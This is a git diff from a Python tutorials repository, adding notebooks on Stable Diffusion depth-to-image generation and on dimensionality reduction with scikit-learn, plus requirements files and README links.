"71f962cddf284a1fbc5f882dc61d673a", + "2ad534b30374491ca6b99f035efa1004", + "db69c9d0fd214da8b42b854d71b87f54", + "6041b74d03bd48f0adea3662f0b9bc27", + "8ec8c55bace044fd885ed6ada6c3cd23", + "b3c65e0ad46a4fdcb639e3c98983f1b7", + "7d12e7d3738f4094a2c1d7a56a03c928", + "5e4d7e7e89cf4b8e9cab8d34d88d662e", + "5066ac8781ec4f00b27ec6be27eb8506", + "a3a361916b864a3cadb650a563842b16", + "279e8805d1a8468496bf091b2854683e" + ] + }, + "id": "aj197V-_RYWl", + "outputId": "038b263c-01d7-4e7d-f49b-5b26d3661152" + }, + "outputs": [], + "source": [ + "prompt = \"A salad with tomatoes and guanas chips mixed with ketchup and mustard and bay leaf and guacamole and onions and ketchup and luscious patty with sesame seeds and cashews and onions and ketchup, ethereal,\"\n", + "n_prompt = \"ugly, deformed, not detailed, bad architectures, blurred, too much blurred, motion blur\"\n", + "pipe(prompt=prompt, image=img, negative_prompt=n_prompt, strength=0.7).images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 785 + }, + "id": "qnPTkMvOQeM0", + "outputId": "ce7d32c7-fac1-4df7-b9e2-ea9cedd12b5a" + }, + "outputs": [], + "source": [ + "img = load_image(\"image15.png\")\n", + "img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 817, + "referenced_widgets": [ + "3f2e54c7185e4251962269369e30a9ec", + "f037d2a0f68e4647ab8d1e3c278aac8f", + "77bdcf219f2e4aa8ba1725329011f2bc", + "bf5ffbefc35449659cc9aae956e9a292", + "6186ca097ee64f289f1becdd180cf1aa", + "f50555e1470b4a8e95ea430871af77cf", + "9f6a32585a514034975b71b2954b639f", + "41c7ad82fa3f4a24a13a09f384e8fd51", + "3cd041ccf57c46ff91b714b7c572f581", + "7d60b538a6e248369d2df053e9548a14", + "a2bc87dd43e14ee0abba026d57cb349f" + ] + }, + "id": "8thR1RQ08HPI", + "outputId": "5b9c661a-e291-4d68-8fde-5bb6f081d8f9" + }, + "outputs": [], + "source": [ + "prompt = \"Last remaining old man on earth\"\n", + "n_prompt = \"bad anatomy, ugly, wrinkles\"\n", + "pipe(prompt=prompt, image=img, negative_prompt=n_prompt, strength=0.7).images[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "_HH2z2bXfaYV" + }, + "source": [ + "## Changing strength - Futuristic city example" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "cNIgur9_91-8" + }, + "outputs": [], + "source": [ + "img = load_image(\"image11.png\")\n", + "img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 817, + "referenced_widgets": [ + "95b5dce9d5e140e78849c5aae374f27c", + "606165cb16e74f20a46035ca4ba95e5c", + "a83bca5872324f19a6a024c536141795", + "0f79744697af4a53835dee31a1b4f748", + "7dd5be64da7a41f8875765186bdd0b10", + "8dccd6692afc41caa28072f35667bfac", + "9e67bf17f1d64768954b47e3e1001b41", + "70b8ac7c48d14a08b0d0eb840d37d410", + "650ea058ba304da9b8febd6a72e10260", + "f3d5fc14999740b2bb7e4c21d1413b37", + "b274cfa1678e49938e163e2d17d7f179" + ] + }, + "id": "aQBJTWJG92Mr", + "outputId": "d612403b-593c-4796-af26-bbd61e1c1ee6" + }, + "outputs": [], + "source": [ + "prompt = \"A futuristic city\"\n", + "pipe(prompt=prompt, image=img, negative_prompt=None, strength=0.7).images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 817, + "referenced_widgets": [ + "c33aa07ac5a741adbef140e57b9702e2", + "3b4ca1a9965f4aeabff645cc5d6aa92e", + "71d6d4c2b61d4739ae78f77f4bababc3", + "80e10875f83e4889ad1840255ef9c49d", + "e7da8d3d63f740968550b2852880ccc1", + "6f02e4b70ac145a1a9b0d9a97f8a0d6b", + "61e7f8494b86497fbe3d96f37206d930", + "fe00c60d6a684ade8f1faf85cd0a825e", + "89174c17b503496ca0652319664f6084", + "8d89224fff864932a91dc1d1545e1ea6", + "07d4c54ed84242068b64353eec6593fa" + ] + }, + "id": "bbgJ1lQw92PO", + "outputId": "c35afeb3-e07f-406e-9088-2b032292e405" + }, + "outputs": [], + "source": [ + "prompt = \"Futuristic city, modern, highly detailed, aesthetic, octane render, 8K, UHD, photoshopped\"\n", + "n_prompt = \"ugly, deformed, not detailed, bad architectures, blurred, too much blurred, motion blur\"\n", + "pipe(prompt=prompt, image=img, negative_prompt=n_prompt, strength=0.7).images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 817, + "referenced_widgets": [ + "cdcc3550ed8340ebb2e8f0f903500c9c", + "42b12e19632c48e8809ccc1dfde61417", + "acc1e1e48c2b4c0a8c765978c5211c4a", + "b86219c801bb4d2e8395ce17518fa432", + "3ff6eda7d146478880b0d26670caa23c", + "7a282eb45d6f4d5da0c6f5241b023b32", + "af74c20beba94d84b5cf97818b6bd191", + "fff5255694d74756a08b556c51affbd9", + "890360c4bd374d74943cb359ba838ab7", + "96aed170045943a28f42d6b825c66cf3", + "2cc5cba3a49842fab50519d9968a4e53" + ] + }, + "id": "kjubi4RD92Sn", + "outputId": "3717a51a-63b1-45a9-df8a-f096aa533ded" + }, + "outputs": [], + "source": [ + "pipe(prompt=prompt, image=img, negative_prompt=n_prompt, strength=0.1).images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 817, + "referenced_widgets": [ + "5d7dd248760841d9b95a356cdcdd6797", + "e9454ab1e9034e908b84be5c6bf6f069", + "970fd0cc56d748ccb2ee2287b33ec5fa", + "52ee43cf76e948e4944d0539462e41f4", + "9d8254d8917c4874b980ae8e4c72b324", + "7f58a5010d77407ca459b1d7209e9280", + "af2c00007cd34322be1faf9aa4925e2d", + "75193c4a20844ca2988c9f9a3ffc66c5", + "c9ca13d641734c4e956555fcbfe2156a", + "d97e3dc3965247c3b5f19925e1a481f2", + "6c4f2c3e26614dce84bc1bf63b1e263f" + ] + }, + "id": "fHqLC7NGALi9", + "outputId": "96b0fda0-40a3-4d7a-f702-19c48230c2c9" + }, + "outputs": [], + "source": [ + "pipe(prompt=prompt, image=img, negative_prompt=n_prompt, strength=0.5).images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 817, + "referenced_widgets": [ + "11fb8904566f4751beffc60b2785b97e", + "e9797440d4904681b6d32ba13e38cf69", + "a2d89cde3ec1423798f3591a2aadbaef", + "e9de6d1bfc2541fbaf1c5315be405904", + "07a62b7083044ede9ec79902d595e4b9", + "23e3dc5b455d445a957cf44e6c913b30", + "fd80da5cf56c463ca277dafa9792c922", + "62dbb831c6af4a369214dbe8c8a41c77", + "bb79f73fb99f4d5885400f7f69c8edcc", + "b6001677e22a4bf1b3565b55bebf0be1", + "b3dba2bfc0c9401a908c7a25a8fbe952" + ] + }, + "id": "dqMjMcJMARNr", + "outputId": "b07157f3-ece3-428b-b595-53f2a4304898" + }, + "outputs": [], + "source": [ + "pipe(prompt=prompt, image=img, negative_prompt=n_prompt, strength=0.9).images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 817, + "referenced_widgets": [ + "7174c6d2b8844dde9ab72574b22b9767", + "3f267dc1656b4c2e9a0496da73081b15", + "fd926a30faed41618593cdb01204d0cc", + "708184f7d3b240a38f17656f8bbfd8ae", + "a9651ab87eae4180a9729b7e28f11376", + "061de01186f440bea0491134ff347c86", + "15b2d929ce0a4c70a156302db442e1a9", + "4c55892c8dd3450a9904bce9e9b80057", + "02dae045c1e7433cbdd872206d35e2f4", + "d75aad33f36b432c8175e076ce4cc99e", + "a3073940c26743b79c7477cbc92cb8e0" + ] + }, + "id": "HRkexFAEALls", + "outputId": "0905b122-6f11-41c2-8982-6167973e70fd" + }, + "outputs": [], + "source": [ + "pipe(prompt=prompt, image=img, negative_prompt=n_prompt, strength=1).images[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "IXvOug64fM6H" + }, + "source": [ + "## Article beginning examples" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 785 + }, + "id": "HhA7oF_OA6SY", + "outputId": "66afe568-50ff-4bc1-fe07-ca1807fec2bc" + }, + "outputs": [], + "source": [ + "img = load_image(\"image12.png\")\n", + "img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 817, + "referenced_widgets": [ + "f7214d3edc9c4b38af73090d49d89ddf", + "0e19b13015304e75abe29a63bd8a9052", + "c2bf3e4561894b4f98047c14c8c6fcaf", + "3758340ddeb543a9854df0e5502725eb", + "eb34aef46c21431bbca887976b630a88", + "253c99a742054b8aa6f2e8e20093cfce", + "13263d08c8324e46a5661cca111e6bb4", + "91cb9127553d41719924473661d25b51", + "040ee5bc127a48a3b3a8727aefac4ae8", + "92ef2a1653944c10b5515f618811f749", + "3db5acc140324a6e9ac259a13595b65e" + ] + }, + "id": "T58XQSFpDEfZ", + "outputId": "a6f4a271-6a91-4578-e7f0-89800ed684f8" + }, + "outputs": [], + "source": [ + "prompt = \"World war, aesthetic\"\n", + "n_prompt = \"bad looking, deformed, wholesome\"\n", + "pipe(prompt=prompt, image=img, negative_prompt=n_prompt, strength=0.9).images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "5HvyI95eDEmU" + }, + "outputs": [], + "source": [ + "img = load_image(\"image3.png\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 817, + "referenced_widgets": [ + "0110098fd7ba45ada215e579d7a659b4", + "a548fd49eb4a451386b340a677f93073", + "1a80f747d4b4437099554768298a7b4a", + "f8ed4f4a78df426aa227ef4e1dda7063", + "0030fdc5270147c7a9cf0574fedab275", + "3394e6e9924e4f2bb791976994169806", + "81b7286bea0841e6b54dba275f5c71b5", + "5c5b46c826a546008a4c8767c40bb1c9", + "cef46b7bd56547bd87478e9c3eaa2aa7", + "40b3e69446974dccb4675c68b6b3db6e", + "66ec2664ae9049548c50a0729a79b3bc" + ] + }, + "id": "td1Jm19GIMzA", + "outputId": "15685051-9943-4f05-cd5b-71b7830870d1" + }, + "outputs": [], + "source": [ + "prompt = \"Beautiful anime landscape\"\n", + "n_prompt = \"bad, deformed, ugly\"\n", + "pipe(prompt=prompt, image=img, negative_prompt=n_prompt, strength=0.7).images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "nybmdyVoSelv" + }, + "outputs": [], + "source": [] + } + ], + "metadata": { + "accelerator": "GPU", + "colab": { + "provenance": [] + }, + "gpuClass": "standard", + "kernelspec": { + "display_name": "Python 3", + "name": "python3" + }, + "language_info": { + "name": "python" + }, + "widgets": { + "application/vnd.jupyter.widget-state+json": { + "0030fdc5270147c7a9cf0574fedab275": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + 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\ No newline at end of file diff --git a/machine-learning/depth2image-stable-diffusion/image11.png b/machine-learning/depth2image-stable-diffusion/image11.png new file mode 100644 index 00000000..46dc3770 Binary files /dev/null and b/machine-learning/depth2image-stable-diffusion/image11.png differ diff --git a/machine-learning/depth2image-stable-diffusion/image12.png b/machine-learning/depth2image-stable-diffusion/image12.png new file mode 100644 index 00000000..d138fd70 Binary files /dev/null and b/machine-learning/depth2image-stable-diffusion/image12.png differ diff --git a/machine-learning/depth2image-stable-diffusion/image15.png b/machine-learning/depth2image-stable-diffusion/image15.png new file mode 100644 index 00000000..290d645b Binary files /dev/null and b/machine-learning/depth2image-stable-diffusion/image15.png differ diff --git a/machine-learning/depth2image-stable-diffusion/image16.png b/machine-learning/depth2image-stable-diffusion/image16.png new file mode 100644 index 00000000..c3ed308b Binary files /dev/null and b/machine-learning/depth2image-stable-diffusion/image16.png differ diff --git a/machine-learning/depth2image-stable-diffusion/image3.png b/machine-learning/depth2image-stable-diffusion/image3.png new file mode 100644 index 00000000..28717e33 Binary files /dev/null and b/machine-learning/depth2image-stable-diffusion/image3.png differ diff --git a/machine-learning/depth2image-stable-diffusion/requirements.txt b/machine-learning/depth2image-stable-diffusion/requirements.txt new file mode 100644 index 00000000..024cb1d5 --- /dev/null +++ b/machine-learning/depth2image-stable-diffusion/requirements.txt @@ -0,0 +1,5 @@ +diffusers +transformers +scipy +ftfy +accelerate \ No newline at end of file diff --git a/machine-learning/dimensionality-reduction-feature-extraction/DimentionalityReductionUsingFeatureExtraction_PythonCodeTutorial.ipynb b/machine-learning/dimensionality-reduction-feature-extraction/DimentionalityReductionUsingFeatureExtraction_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..2c371aad --- /dev/null +++ b/machine-learning/dimensionality-reduction-feature-extraction/DimentionalityReductionUsingFeatureExtraction_PythonCodeTutorial.ipynb @@ -0,0 +1,341 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "NNamP65y8eGf" + }, + "outputs": [], + "source": [ + "from sklearn import datasets\n", + "from sklearn.discriminant_analysis import LinearDiscriminantAnalysis\n", + "from sklearn.decomposition import PCA, KernelPCA\n", + "from sklearn.datasets import make_circles\n", + "from sklearn.preprocessing import StandardScaler\n", + "from sklearn.decomposition import NMF\n", + "from sklearn.decomposition import TruncatedSVD\n", + "from scipy.sparse import csr_matrix" + ] + }, + { + "cell_type": "code", + "execution_count": 2, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "fvJfKhFq8hQc", + "outputId": "acbc4c59-acbd-4ff4-bacb-e54b55e0312f" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Original number of features: 64\n", + "Reduced number of features: 40\n" + ] + } + ], + "source": [ + "# Load the data\n", + "digits = datasets.load_digits()\n", + "# Feature matrix standardization\n", + "features = StandardScaler().fit_transform(digits.data)\n", + "# Perform PCA While retaining 80% of variance\n", + "pca = PCA(n_components=0.95, whiten=True)\n", + "# perform PCA\n", + "pcafeatures = pca.fit_transform(features)\n", + "# Display results\n", + "print(\"Original number of features:\", features.shape[1])\n", + "print(\"Reduced number of features:\", pcafeatures.shape[1])" + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "jyU800Lf8it4", + "outputId": "0d4c73bf-7d08-48e6-a44f-a5647a2e0c11" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Original number of features: 2\n", + "Reduced number of features: 1\n" + ] + } + ], + "source": [ + "# Creation of the linearly inseparable data\n", + "features, _ = make_circles(n_samples=2000, random_state=1, noise=0.1, factor=0.1)\n", + "# kernal PCA with radius basis function (RBF) kernel application\n", + "k_pca = KernelPCA(kernel=\"rbf\", gamma=16, n_components=1)\n", + "k_pcaf = k_pca.fit_transform(features)\n", + "print(\"Original number of features:\", features.shape[1])\n", + "print(\"Reduced number of features:\", k_pcaf.shape[1])" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "IfCo5TA28kn6", + "outputId": "312956a9-9fb5-4296-d766-a3e642649da1" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "number of features(original): 4\n", + "number of features that was reduced: 1\n" + ] + } + ], + "source": [ + "#flower dataset loading:\n", + "iris = datasets.load_iris()\n", + "features = iris.data\n", + "target = iris.target\n", + "# Creation of LDA. Use of LDA for features transformation\n", + "lda = LinearDiscriminantAnalysis(n_components=1)\n", + "features_lda = lda.fit(features, target).transform(features)\n", + "# Print the number of features\n", + "print(\"number of features(original):\", features.shape[1])\n", + "print(\"number of features that was reduced:\", features_lda.shape[1])" + ] + }, + { + "cell_type": "code", + "execution_count": 5, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "yjQBlMtM8mQu", + "outputId": "800279fb-f44b-43e8-9210-a35b8e190fc7" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "array([0.9912126])" + ] + }, + "execution_count": 5, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "lda.explained_variance_ratio_" + ] + }, + { + "cell_type": "code", + "execution_count": 10, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "tHOWTxn18nf7", + "outputId": "ae3c857a-0ca8-4508-affc-b5ea4dff6788" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "1" + ] + }, + "execution_count": 10, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Load Iris flower dataset:\n", + "iris123 = datasets.load_iris()\n", + "features = iris123.data\n", + "target = iris123.target\n", + "# Create and run LDA\n", + "lda_r = LinearDiscriminantAnalysis(n_components=None)\n", + "features_lda = lda_r.fit(features, target)\n", + "# array of explained variance ratios\n", + "lda_var_r = lda_r.explained_variance_ratio_\n", + "# function ceration\n", + "def select_n_c(v_ratio, g_var: float) -> int:\n", + " # initial variance explained setting\n", + " total_v = 0.0\n", + " # number of features initialisation\n", + " n_components = 0\n", + " # If we consider explained variance of each feature:\n", + " for explained_v in v_ratio:\n", + " # explained variance addition to the total\n", + " total_v += explained_v\n", + " # add one to number of components\n", + " n_components += 1\n", + " # we attain our goal level of explained variance\n", + " if total_v >= g_var:\n", + " # end the loop\n", + " break\n", + " # return the number of components\n", + " return n_components\n", + "\n", + "# run the function\n", + "select_n_c(lda_var_r, 0.95)" + ] + }, + { + "cell_type": "code", + "execution_count": 7, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "12zwY1Du8o6i", + "outputId": "e9178fdf-2195-41cc-f4c3-a1e52c030df5" + }, + "outputs": [ + { + "name": "stderr", + "output_type": "stream", + "text": [ + "/usr/local/lib/python3.7/dist-packages/sklearn/decomposition/_nmf.py:294: FutureWarning: The 'init' value, when 'init=None' and n_components is less than n_samples and n_features, will be changed from 'nndsvd' to 'nndsvda' in 1.1 (renaming of 0.26).\n", + " FutureWarning,\n" + ] + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Original number of features: 64\n", + "Reduced number of features: 12\n" + ] + }, + { + "name": "stderr", + "output_type": "stream", + "text": [ + "/usr/local/lib/python3.7/dist-packages/sklearn/decomposition/_nmf.py:1641: ConvergenceWarning: Maximum number of iterations 200 reached. Increase it to improve convergence.\n", + " ConvergenceWarning,\n" + ] + } + ], + "source": [ + "# data loading\n", + "digit = datasets.load_digits()\n", + "# feature matrix loading\n", + "feature_m = digit.data\n", + "# Creation, fit and application of NMF\n", + "n_mf = NMF(n_components=12, random_state=1)\n", + "features_nmf = n_mf.fit_transform(feature_m)\n", + "# Show results\n", + "print(\"Original number of features:\", feature_m.shape[1])\n", + "print(\"Reduced number of features:\", features_nmf.shape[1])" + ] + }, + { + "cell_type": "code", + "execution_count": 8, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "wrEYF9Ql8qtU", + "outputId": "c28d28be-4f0b-4bd7-bb56-fde6ead38a45" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Original number of features: 64\n", + "Reduced number of features: 12\n" + ] + } + ], + "source": [ + "# data loading\n", + "digit123 = datasets.load_digits()\n", + "# feature matrix Standardization\n", + "features_m = StandardScaler().fit_transform(digit123.data)\n", + "# sparse matrix creation\n", + "f_sparse = csr_matrix(features_m)\n", + "# TSVD creation\n", + "tsvd = TruncatedSVD(n_components=12)\n", + "# sparse matrix TSVD\n", + "features_sp_tsvd = tsvd.fit(f_sparse).transform(f_sparse)\n", + "# results\n", + "print(\"Original number of features:\", f_sparse.shape[1])\n", + "print(\"Reduced number of features:\", features_sp_tsvd.shape[1])" + ] + }, + { + "cell_type": "code", + "execution_count": 9, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "xRQ_nUf_8sZA", + "outputId": "19b8d99c-b330-406d-e728-407c18d82f20" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "0.3003938539283667" + ] + }, + "execution_count": 9, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Sum of first three components' explained variance ratios\n", + "tsvd.explained_variance_ratio_[0:3].sum()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "zbExVkXp8vpi" + }, + "outputs": [], + "source": [] + } + ], + "metadata": { + "colab": { + "name": "DimentionalityReductionUsingFeatureExtraction_PythonCodeTutorial.ipynb", + "provenance": [] + }, + "interpreter": { + "hash": "f89a88aed07bbcd763ac68893150ace71e487877d8c6527a76855322f20001c6" + }, + "kernelspec": { + "display_name": "Python 3.9.12 64-bit", + "language": "python", + "name": "python3" + }, + "language_info": { + "name": "python", + "version": "3.9.12" + } + }, + "nbformat": 4, + "nbformat_minor": 0 +} diff --git a/machine-learning/dimensionality-reduction-feature-extraction/README.md b/machine-learning/dimensionality-reduction-feature-extraction/README.md new file mode 100644 index 00000000..0d59a6cb --- /dev/null +++ b/machine-learning/dimensionality-reduction-feature-extraction/README.md @@ -0,0 +1 @@ +# [Dimensionality Reduction: Feature Extraction using Scikit-learn in Python](https://www.thepythoncode.com/article/dimensionality-reduction-using-feature-extraction-sklearn) \ No newline at end of file diff --git a/machine-learning/dimensionality-reduction-feature-extraction/dimentionalityreductionusingfeatureextraction_pythoncodetutorial.py b/machine-learning/dimensionality-reduction-feature-extraction/dimentionalityreductionusingfeatureextraction_pythoncodetutorial.py new file mode 100644 index 00000000..0ed9dbbd --- /dev/null +++ b/machine-learning/dimensionality-reduction-feature-extraction/dimentionalityreductionusingfeatureextraction_pythoncodetutorial.py @@ -0,0 +1,110 @@ +# -*- coding: utf-8 -*- +"""DimentionalityReductionUsingFeatureExtraction_PythonCodeTutorial.ipynb + +Automatically generated by Colaboratory. + +Original file is located at + https://colab.research.google.com/drive/1KIR85hqoxb0VCiX8KipjZeb21cNPfDXN +""" + +from sklearn import datasets +from sklearn.discriminant_analysis import LinearDiscriminantAnalysis +from sklearn.decomposition import PCA, KernelPCA +from sklearn.datasets import make_circles +from sklearn.preprocessing import StandardScaler +from sklearn.decomposition import NMF +from sklearn.decomposition import TruncatedSVD +from scipy.sparse import csr_matrix + +# Load the data +digits = datasets.load_digits() +# Feature matrix standardization +features = StandardScaler().fit_transform(digits.data) +# Perform PCA While retaining 80% of variance +pca = PCA(n_components=0.95, whiten=True) +# perform PCA +pcafeatures = pca.fit_transform(features) +# Display results +print("Original number of features:", features.shape[1]) +print("Reduced number of features:", pcafeatures.shape[1]) + +# Creation of the linearly inseparable data +features, _ = make_circles(n_samples=2000, random_state=1, noise=0.1, factor=0.1) +# kernal PCA with radius basis function (RBF) kernel application +k_pca = KernelPCA(kernel="rbf", gamma=16, n_components=1) +k_pcaf = k_pca.fit_transform(features) +print("Original number of features:", features.shape[1]) +print("Reduced number of features:", k_pcaf.shape[1]) + +#flower dataset loading: +iris = datasets.load_iris() +features = iris.data +target = iris.target +# Creation of LDA. Use of LDA for features transformation +lda = LinearDiscriminantAnalysis(n_components=1) +features_lda = lda.fit(features, target).transform(features) +# Print the number of features +print("number of features(original):", features.shape[1]) +print("number of features that was reduced:", features_lda.shape[1]) + +lda.explained_variance_ratio_ + +# Load Iris flower dataset: +iris123 = datasets.load_iris() +features = iris123.data +target = iris123.target +# Create and run LDA +lda_r = LinearDiscriminantAnalysis(n_components=None) +features_lda = lda_r.fit(features, target) +# array of explained variance ratios +lda_var_r = lda_r.explained_variance_ratio_ +# function ceration +def select_n_c(v_ratio, g_var: float) -> int: + # initial variance explained setting + total_v = 0.0 + # number of features initialisation + n_components = 0 + # If we consider explained variance of each feature: + for explained_v in v_ratio: + # explained variance addition to the total + total_v += explained_v + # add one to number of components + n_components += 1 + # we attain our goal level of explained variance + if total_v >= g_var: + # end the loop + break + # return the number of components + return n_components + +# run the function +select_n_c(lda_var_r, 0.95) + +# data loading +digit = datasets.load_digits() +# feature matrix loading +feature_m = digit.data +# Creation, fit and application of NMF +n_mf = NMF(n_components=12, random_state=1) +features_nmf = n_mf.fit_transform(feature_m) +# Show results +print("Original number of features:", feature_m.shape[1]) +print("Reduced number of features:", features_nmf.shape[1]) + +# data loading +digit123 = datasets.load_digits() +# feature matrix Standardization +features_m = StandardScaler().fit_transform(digit123.data) +# sparse matrix creation +f_sparse = csr_matrix(features_m) +# TSVD creation +tsvd = TruncatedSVD(n_components=12) +# sparse matrix TSVD +features_sp_tsvd = tsvd.fit(f_sparse).transform(f_sparse) +# results +print("Original number of features:", f_sparse.shape[1]) +print("Reduced number of features:", features_sp_tsvd.shape[1]) + +# Sum of first three components' explained variance ratios +tsvd.explained_variance_ratio_[0:3].sum() + diff --git a/machine-learning/dimensionality-reduction-feature-extraction/requirements.txt b/machine-learning/dimensionality-reduction-feature-extraction/requirements.txt new file mode 100644 index 00000000..04fd6a59 --- /dev/null +++ b/machine-learning/dimensionality-reduction-feature-extraction/requirements.txt @@ -0,0 +1,2 @@ +sklearn +scipy \ No newline at end of file diff --git a/machine-learning/dimensionality-reduction-feature-selection/README.md b/machine-learning/dimensionality-reduction-feature-selection/README.md new file mode 100644 index 00000000..8b5eb3a2 --- /dev/null +++ b/machine-learning/dimensionality-reduction-feature-selection/README.md @@ -0,0 +1 @@ +# [Dimensionality Reduction Using Feature Selection in Python](https://www.thepythoncode.com/article/dimensionality-reduction-feature-selection) \ No newline at end of file diff --git a/machine-learning/dimensionality-reduction-feature-selection/dimensionality_reduction_using_feature_selection.ipynb b/machine-learning/dimensionality-reduction-feature-selection/dimensionality_reduction_using_feature_selection.ipynb new file mode 100644 index 00000000..66dbcc71 --- /dev/null +++ b/machine-learning/dimensionality-reduction-feature-selection/dimensionality_reduction_using_feature_selection.ipynb @@ -0,0 +1,306 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "iImkWEpRSiRq" + }, + "outputs": [], + "source": [ + "\n", + "# Load libraries\n", + "import pandas as pd\n", + "import numpy as np\n", + "from sklearn.datasets import load_iris, make_regression\n", + "from sklearn.feature_selection import SelectKBest, chi2, f_classif, SelectPercentile, VarianceThreshold, RFECV\n", + "from sklearn.preprocessing import StandardScaler\n", + "import warnings\n", + "from sklearn import datasets, linear_model" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "ZEK7KAyzSokS", + "outputId": "7ce72382-c116-4f51-df7b-1f975c1c25f8" + }, + "outputs": [], + "source": [ + "# Load libraries\n", + "# import data\n", + "iris = datasets.load_iris()\n", + "# Create features and target\n", + "features_i = iris.data\n", + "target_i = iris.target\n", + "# thresholder creation\n", + "thresholder = VarianceThreshold(threshold=.4)\n", + "# high variance feature matrix creation\n", + "f_high_variance = thresholder.fit_transform(features_i)\n", + "# View high variance feature matrix\n", + "f_high_variance[0:3]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "7ZZgOg1-SpuX", + "outputId": "a869adde-0b29-4630-9661-34377f110d4f" + }, + "outputs": [], + "source": [ + "# View variances\n", + "thresholder.fit(features_i).variances_" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "zYNK4wP5Sq9R", + "outputId": "30e18ea5-4b63-43e5-819e-9a99251dfae6" + }, + "outputs": [], + "source": [ + "\n", + "# feature matrix stantardization\n", + "scaler = StandardScaler()\n", + "f_std = scaler.fit_transform(features_i)\n", + "# variance of each feature calculation\n", + "selection = VarianceThreshold()\n", + "selection.fit(f_std).variances_" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "jDGMP97LSuiB", + "outputId": "c1b9d537-495f-4109-ef75-324fe9943668" + }, + "outputs": [], + "source": [ + "# feature matrix creation with:\n", + "# for Feature 0: 80% class 0\n", + "# for Feature 1: 80% class 1\n", + "# for Feature 2: 60% class 0, 40% class 1\n", + "features_i = [[0, 2, 0],\n", + "[0, 1, 1],\n", + "[0, 1, 0],\n", + "[0, 1, 1],\n", + "[1, 0, 0]]\n", + "# threshold by variance\n", + "thresholding = VarianceThreshold(threshold=(.65 * (1 - .65)))\n", + "thresholding.fit_transform(features_i)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 198 + }, + "id": "JvnObeKXS6xm", + "outputId": "19dac143-9407-4bb4-cc23-b19b06025617" + }, + "outputs": [], + "source": [ + "# Create feature matrix with two highly correlated features\n", + "features_m = np.array([[1, 1, 1],\n", + "[2, 